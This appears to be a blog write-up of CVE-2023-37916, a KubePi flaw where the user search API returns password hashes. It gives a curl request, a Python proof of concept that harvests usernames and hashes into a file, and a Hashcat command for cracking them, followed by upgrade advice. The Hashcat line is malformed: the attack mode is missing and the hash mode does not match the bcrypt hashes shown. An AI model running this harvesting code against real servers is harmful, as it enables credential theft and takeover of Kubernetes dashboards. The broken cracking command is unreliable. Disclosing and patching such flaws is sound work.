KubePi is a popular open source web panel for managing Kubernetes clusters—it makes life a lot easier for devops teams and cloud admins. But in mid-2023, it was found vulnerable to a critical information disclosure bug: CVE-2023-37916. This bug let anyone with access to KubePi’s dashboard API fetch password hashes for all users—even admin accounts! Given how many people reuse passwords, and how some password hashes can be cracked, this kind of leak can spell real trouble.

Let's break down what happened, see the code in action, and discuss fixes for those still running KubePi.

Inside KubePi, there’s an endpoint meant for listing/searching users

/kubepi/api/v1/users/search?pageNum=1&&pageSize=10

A normal request (even by a logged-in non-admin user) to this URL should only return harmless details—like usernames and emails. But due to a missing filter in the backend code, it also returned each user’s password hash.

Here’s an example request using curl

curl -k -X GET "https://your-kubepi-server/kubepi/api/v1/users/search?pageNum=1&&pageSize=10";

And here’s (an obfuscated) example of the kind of data you’d receive back

{
  "data": [
    {
      "id": 1,
      "name": "admin",
      "email": "admin@example.com",
      "password": "$2a$10$w2N5T2n1e3RcOfvZZZbHaug123456789abcdefg",
      "role": "admin"
    },
    {
      "id": 2,
      "name": "bob",
      "email": "bob@example.com",
      "password": "$2a$10$xY2A8T9bRnYpB9F567890dfghijklmnopqrs",
      "role": "user"
    }
  ],
  "pageNum": 1,
  "pageSize": 10,
  "total": 2
}

> Note: The values for "password" above are example hashes, but in a real attack, you would get the actual password hashes for live accounts.

How Bad Is It?

While these are not the raw passwords—but their hashes—they can be cracked using brute force or dictionary attacks, especially if users picked weak passwords.

Here's an example on how an attacker would try to crack leaked KubePi password hashes using Hashcat:

hashcat -m 320 -a  hashes.txt rockyou.txt

Password hashes are meant to be private. Leaking them is considered a critical exposure.

Python Proof-of-Concept

import requests

url = "https://your-kubepi-server/kubepi/api/v1/users/search?pageNum=1&&pageSize=100";
r = requests.get(url, verify=False)
users = r.json().get("data", [])
for user in users:
    print(f"{user['name']}:{user['password']}")

Save the output as hashes.txt and use a tool like Hashcat or John the Ripper to try cracking the passwords.

Mitigation

The KubePi team fixed this bug in version 1.6.5. The fix filters out password hashes from API responses for user searches (they’re not needed in frontend UI anyway).

From the release notes

> Fixed: User password hashes are returned in the /kubepi/api/v1/users/search response.

Upgrade instructions

1. Stop your existing KubePi container/service.
2. Download the new version from KubePi Releases.

Update your deployment (Docker container, binary install, Helm chart, etc.) per your usual method.

There are no workarounds: You *must* upgrade to at least version 1.6.5 to be safe.

References

- Official CVE Record: CVE-2023-37916
- GitHub Security Advisory
- KubePi Releases
- Hashcat: Advanced Password Recovery

Summary

If you use KubePi below v1.6.5, upgrade immediately. This exposure let anyone with API access get all user password hashes, putting your entire Kubernetes dashboard (and clusters) at risk. Always stay on-top of security updates!

Questions or feedback? Let us know below! And check your cluster security stance—don't let your passwords leak!

Timeline

Published on: 07/21/2023 21:15:00 UTC
Last modified on: 07/31/2023 18:32:00 UTC